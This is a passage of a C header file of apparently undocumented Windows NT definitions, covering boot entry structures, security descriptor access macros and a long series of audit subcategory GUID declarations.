DefaultType;\r\n\tPVOID DefaultData;\r\n\tULONG DefaultLength;\r\n\r\n} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;\r\n\r\n#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1)\r\n\r\n#define MAJOR_VERSION 30\r\n#define MINOR_VERSION 00\r\n#define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION )\r\n\r\n#ifdef DBG\r\n#define DBG_TEB_THREADNAME 16\r\n#define DBG_TEB_RESERVED_1 15\r\n#define DBG_TEB_RESERVED_2 14\r\n#define DBG_TEB_RESERVED_3 13\r\n#define DBG_TEB_RESERVED_4 12\r\n#define DBG_TEB_RESERVED_5 11\r\n#define DBG_TEB_RESERVED_6 10\r\n#define DBG_TEB_RESERVED_7  9\r\n#define DBG_TEB_RESERVED_8  8\r\n#endif // DBG\r\n\r\n#define PROCESS_PRIORITY_CLASS_UNKNOWN      0\r\n#define PROCESS_PRIORITY_CLASS_IDLE         1\r\n#define PROCESS_PRIORITY_CLASS_NORMAL       2\r\n#define PROCESS_PRIORITY_CLASS_HIGH         3\r\n#define PROCESS_PRIORITY_CLASS_REALTIME     4\r\n#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5\r\n#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6\r\n\r\ntypedef struct _PROCESS_PRIORITY_CLASS {\r\n\tBOOLEAN Foreground;\r\n\tUCHAR PriorityClass;\r\n} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS;\r\n\r\ntypedef struct _PROCESS_FOREGROUND_BACKGROUND {\r\n\tBOOLEAN Foreground;\r\n} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND;\r\n\r\ntypedef struct _FILE_PATH {\r\n\tULONG Version;\r\n\tULONG Length;\r\n\tULONG Type;\r\n\tUCHAR FilePath[ANYSIZE_ARRAY];\r\n} FILE_PATH, *PFILE_PATH;\r\n\r\n#define FILE_PATH_VERSION 1\r\n\r\n#define FILE_PATH_TYPE_ARC           1\r\n#define FILE_PATH_TYPE_ARC_SIGNATURE 2\r\n#define FILE_PATH_TYPE_NT            3\r\n#define FILE_PATH_TYPE_EFI           4\r\n\r\n#define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC\r\n#define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI\r\n\r\ntypedef struct _WINDOWS_OS_OPTIONS {\r\n\tUCHAR Signature[8];\r\n\tULONG Version;\r\n\tULONG Length;\r\n\tULONG OsLoadPathOffset;\r\n\tWCHAR OsLoadOptions[ANYSIZE_ARRAY];\r\n\t//FILE_PATH OsLoadPath;\r\n} WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS;\r\n\r\n#define WINDOWS_OS_OPTIONS_SIGNATURE \"WINDOWS\"\r\n\r\n#define WINDOWS_OS_OPTIONS_VERSION 1\r\n\r\ntypedef struct _BOOT_ENTRY {\r\n\tULONG Version;\r\n\tULONG Length;\r\n\tULONG Id;\r\n\tULONG Attributes;\r\n\tULONG FriendlyNameOffset;\r\n\tULONG BootFilePathOffset;\r\n\tULONG OsOptionsLength;\r\n\tUCHAR OsOptions[ANYSIZE_ARRAY];\r\n\t//WCHAR FriendlyName[ANYSIZE_ARRAY];\r\n\t//FILE_PATH BootFilePath;\r\n} BOOT_ENTRY, *PBOOT_ENTRY;\r\n\r\ntypedef struct _BOOT_OPTIONS {\r\n\tULONG Version;\r\n\tULONG Length;\r\n\tULONG Timeout;\r\n\tULONG CurrentBootEntryId;\r\n\tULONG NextBootEntryId;\r\n\tWCHAR HeadlessRedirection[ANYSIZE_ARRAY];\r\n} BOOT_OPTIONS, *PBOOT_OPTIONS;\r\n\r\n\r\n//\r\n// Security APIs.\r\n//\r\n\r\ntypedef struct _USER_SID\r\n{\r\n\tSID_IDENTIFIER_AUTHORITY sidAuthority;\r\n\tULONG UserGroupId;\r\n\tULONG UserId;\r\n} USER_SID, *PUSER_SID;\r\n\r\n\r\ntypedef struct _USER_PERMISSION\r\n{\r\n\tUSER_SID UserSid;\t\t\t\t\t\t// identifies the user for whom you want to grant permissions to\r\n\tULONG dwAccessType;         // currently, this is either ACCESS_ALLOWED_ACE_TYPE or  ACCESS_DENIED_ACE_TYPE\r\n\tBOOL bInherit;              // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission)\r\n\tULONG dwAccessMask;         // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...)\r\n\tULONG dwInheritMask;        // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE)\r\n\tULONG dwInheritAccessMask;  // the inheritable access granted (eg GENERIC_ALL)\r\n} USER_PERMISSION, *PUSER_PERMISSION;\r\n\r\n#define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4))\r\n#define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4)\r\n\r\n//\r\n// Macros for calculating the address of the components of a security\r\n// descriptor.  This will calculate the address of the field regardless\r\n// of whether the security descriptor is absolute or self-relative form.\r\n// A null value indicates the specified field is not present in the\r\n// security descriptor.\r\n//\r\n\r\n#define RtlpOwnerAddrSecurityDescriptor( SD )                                  \\\r\n           (  ((SD)->Control & SE_SELF_RELATIVE) ?                             \\\r\n               (   (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) :               \\\r\n                       (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner)    \\\r\n               ) :                                                             \\\r\n               (PSID)((SD)->Owner)                                             \\\r\n           )\r\n\r\n#define RtlpGroupAddrSecurityDescriptor( SD )                                  \\\r\n           (  ((SD)->Control & SE_SELF_RELATIVE) ?                             \\\r\n               (   (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) :               \\\r\n                       (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group)    \\\r\n               ) :                                                             \\\r\n               (PSID)((SD)->Group)                                             \\\r\n           )\r\n\r\n#define RtlpSaclAddrSecurityDescriptor( SD )                                   \\\r\n           ( (!((SD)->Control & SE_SACL_PRESENT) ) ?                           \\\r\n             (PACL)NULL :                                                      \\\r\n               (  ((SD)->Control & SE_SELF_RELATIVE) ?                         \\\r\n                   (   (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) :            \\\r\n                           (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \\\r\n                   ) :                                                         \\\r\n                   (PACL)((SD)->Sacl)                                          \\\r\n               )                                                               \\\r\n           )\r\n\r\n#define RtlpDaclAddrSecurityDescriptor( SD )                                   \\\r\n           ( (!((SD)->Control & SE_DACL_PRESENT) ) ?                           \\\r\n             (PACL)NULL :                                                      \\\r\n               (  ((SD)->Control & SE_SELF_RELATIVE) ?                         \\\r\n                   (   (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) :            \\\r\n                           (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \\\r\n                   ) :                                                         \\\r\n                   (PACL)((SD)->Dacl)                                          \\\r\n               )                                                               \\\r\n           )\r\n\r\n\r\n//\r\n//  Macro to determine if the given ID has the owner attribute set,\r\n//  which means that it may be assignable as an owner\r\n//  The GroupSid should not be marked for UseForDenyOnly.\r\n//\r\n\r\n#define RtlpIdAssignableAsOwner( G )                                               \\\r\n            ( (((G).Attributes & SE_GROUP_OWNER) != 0)  &&                         \\\r\n              (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) )\r\n\r\n//\r\n//  Macro to copy the state of the passed bits from the old security\r\n//  descriptor (OldSD) into the Control field of the new one (NewSD)\r\n//\r\n\r\n#define RtlpPropagateControlBits( NewSD, OldSD, Bits )                             \\\r\n            ( NewSD )->Control |=                     \\\r\n            (                                                                  \\\r\n            ( OldSD )->Control & ( Bits )             \\\r\n            )\r\n\r\n\r\n//\r\n//  Macro to query whether or not the passed set of bits are ALL on\r\n//  or not (ie, returns FALSE if some are on and not others)\r\n//\r\n\r\n#define RtlpAreControlBitsSet( SD, Bits )                                          \\\r\n            (BOOLEAN)                                                          \\\r\n            (                                                                  \\\r\n            (( SD )->Control & ( Bits )) == ( Bits )  \\\r\n            )\r\n\r\n//\r\n//  Macro to set the passed control bits in the given Security Descriptor\r\n//\r\n\r\n#define RtlpSetControlBits( SD, Bits )                                             \\\r\n            (                                                                  \\\r\n            ( SD )->Control |= ( Bits )                                        \\\r\n            )\r\n\r\n//\r\n//  Macro to clear the passed control bits in the given Security Descriptor\r\n//\r\n\r\n#define RtlpClearControlBits( SD, Bits )\t\\\r\n            (\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\r\n            ( SD )->Control &= ~( Bits )\t\\\r\n            )\r\n\r\n\r\n//\r\n// Local Security Authority APIs.\r\n//\r\n\r\n#ifdef DEFINE_GUID\r\n\r\n/* 0cce9210-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined)\r\n    DEFINE_GUID(\r\n        Audit_System_SecurityStateChange,\r\n        0x0cce9210,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_System_SecurityStateChange_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9211-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined)\r\n    DEFINE_GUID(\r\n        Audit_System_SecuritySubsystemExtension,\r\n        0x0cce9211,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_System_SecuritySubsystemExtension_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9212-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_System_Integrity_defined)\r\n    DEFINE_GUID(\r\n        Audit_System_Integrity,\r\n        0x0cce9212,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_System_Integrity_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9213-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined)\r\n    DEFINE_GUID(\r\n        Audit_System_IPSecDriverEvents,\r\n        0x0cce9213,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_System_IPSecDriverEvents_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9214-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_System_Others_defined)\r\n    DEFINE_GUID(\r\n        Audit_System_Others,\r\n        0x0cce9214,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_System_Others_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9215-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_Logon,\r\n        0x0cce9215,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_Logon_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9216-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_Logoff,\r\n        0x0cce9216,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_Logoff_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9217-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_AccountLockout,\r\n        0x0cce9217,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_AccountLockout_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9218-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_IPSecMainMode,\r\n        0x0cce9218,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_IPSecMainMode_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9219-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_IPSecQuickMode,\r\n        0x0cce9219,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_IPSecQuickMode_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce921a-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_IPSecUserMode,\r\n        0x0cce921a,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_IPSecUserMode_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce921b-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_SpecialLogon,\r\n        0x0cce921b,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_SpecialLogon_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce921c-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_Others_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_Others,\r\n        0x0cce921c,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_Others_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce921d-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_FileSystem,\r\n        0x0cce921d,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_FileSystem_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce921e-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_Registry,\r\n        0x0cce921e,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_Registry_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce921f-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_Kernel,\r\n        0x0cce921f,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_Kernel_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9220-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_Sam,\r\n        0x0cce9220,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_Sam_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9221-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_CertificationServices,\r\n        0x0cce9221,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_CertificationServices_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9222-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_ApplicationGenerated,\r\n        0x0cce9222,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_ApplicationGenerated_defined\r\n    #endif\r\n#endif\r\n\r\n/*\r\nThe Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories.\r\nFor handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId:\r\n0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be\r\nenabled. For eg, to generate handle based audits for Reg keys, both\r\nAudit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled\r\n*/\r\n\r\n/* 0cce9223-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_Handle,\r\n        0x0cce9223,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_Handle_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9224-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_Share,\r\n        0x0cce9224,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_Share_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9225-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_FirewallPacketDrops,\r\n        0x0cce9225,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_FirewallPacketDrops_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9226-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_FirewallConnection,\r\n        0x0cce9226,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_FirewallConnection_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9227-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_Other,\r\n        0x0cce9227,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_Other_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9228-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined)\r\n    DEFINE_GUID(\r\n        Audit_PrivilegeUse_Sensitive,\r\n        0x0cce9228,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PrivilegeUse_Sensitive_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9229-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined)\r\n    DEFINE_GUID(\r\n        Audit_PrivilegeUse_NonSensitive,\r\n        0x0cce9229,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PrivilegeUse_NonSensitive_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce922a-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined)\r\n    DEFINE_GUID(\r\n        Audit_PrivilegeUse_Others,\r\n        0x0cce922a,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PrivilegeUse_Others_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce922b-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined)\r\n    DEFINE_GUID(\r\n        Audit_DetailedTracking_ProcessCreation,\r\n        0x0cce922b,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DetailedTracking_ProcessCreation_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce922c-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined)\r\n    DEFINE_GUID(\r\n        Audit_DetailedTracking_ProcessTermination,\r\n        0x0cce922c,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DetailedTracking_ProcessTermination_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce922d-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined)\r\n    DEFINE_GUID(\r\n        Audit_DetailedTracking_DpapiActivity,\r\n        0x0cce922d,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DetailedTracking_DpapiActivity_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce922e-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined)\r\n    DEFINE_GUID(\r\n        Audit_DetailedTracking_RpcCall,\r\n        0x0cce922e,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DetailedTracking_RpcCall_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce922f-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange_AuditPolicy,\r\n        0x0cce922f,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_AuditPolicy_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9230-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange_AuthenticationPolicy,\r\n        0x0cce9230,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_AuthenticationPolicy_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9231-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange_AuthorizationPolicy,\r\n        0x0cce9231,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_AuthorizationPolicy_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9232-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange_MpsscvRulePolicy,\r\n        0x0cce9232,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_MpsscvRulePolicy_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9233-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange_WfpIPSecPolicy,\r\n        0x0cce9233,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_WfpIPSecPolicy_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9234-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange_Others,\r\n        0x0cce9234,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_Others_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9235-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement_UserAccount,\r\n        0x0cce9235,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_UserAccount_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9236-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement_ComputerAccount,\r\n        0x0cce9236,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_ComputerAccount_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9237-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement_SecurityGroup,\r\n        0x0cce9237,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_SecurityGroup_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9238-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement_DistributionGroup,\r\n        